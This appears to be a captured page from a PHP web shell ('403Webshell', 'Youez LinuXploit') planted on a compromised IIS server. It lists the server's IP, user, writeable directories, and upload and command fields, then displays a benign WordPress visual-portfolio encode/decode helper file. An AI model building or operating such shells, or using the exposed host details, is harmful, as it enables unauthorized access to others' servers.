403Webshell
Server IP : 195.130.67.5  /  Your IP : 216.73.217.154
Web Server : Microsoft-IIS/10.0
System : Windows NT WEBSERVER1 10.0 build 17763 (Windows Server 2016) i586
User : IUSR ( 0)
PHP Version : 7.4.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /inetpub/wwwroot/ia/wp-content/plugins/visual-portfolio/gutenberg/utils/encode-decode/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /inetpub/wwwroot/ia/wp-content/plugins/visual-portfolio/gutenberg/utils/encode-decode/index.php
<?php
/**
 * Encode/Decode helper functions.
 *
 * @package visual-portfolio
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * Encode string.
 *
 * @param string|array $str - string to encode.
 *
 * @return string|array
 */
function visual_portfolio_encode( $str ) {
	// Array.
	if ( is_array( $str ) ) {
		$result = array();

		foreach ( $str as $k => $val ) {
			$result[ visual_portfolio_encode( $k ) ] = visual_portfolio_encode( $val );
		}

		return $result;
	}

	// String.
	if ( is_string( $str ) ) {
		// Because of these replacements, some attributes can't be exported to XML without being broken. So, we need to replace it manually with something safe.
		// https://github.com/WordPress/gutenberg/blob/88645e4b268acf5746e914159e3ce790dcb1665a/packages/blocks/src/api/serializer.js#L246-L271 .
		$str = str_replace( '--', '_u002d__u002d_', $str );

        // phpcs:ignore WordPress.PHP.DiscouragedPHPFunctions.urlencode_urlencode
		$str = urlencode( $str );
	}

	return $str;
}

/**
 * Decode string.
 *
 * @param string|array $str - string to decode.
 *
 * @return string|array
 */
function visual_portfolio_decode( $str ) {
	// Array.
	if ( is_array( $str ) ) {
		$result = array();

		foreach ( $str as $k => $val ) {
			$result[ visual_portfolio_decode( $k ) ] = visual_portfolio_decode( $val );
		}

		return $result;
	}

	// String.
	if ( is_string( $str ) ) {
		$str = urldecode( $str );

		// Because of these replacements, some attributes can't be exported to XML without being broken. So, we need to replace it manually with something safe.
		// https://github.com/WordPress/gutenberg/blob/88645e4b268acf5746e914159e3ce790dcb1665a/packages/blocks/src/api/serializer.js#L246-L271 .
		$str = str_replace( '_u002d__u002d_', '--', $str );
	}

	return $str;
}

Youez - 2016 - github.com/yon3zu
LinuXploit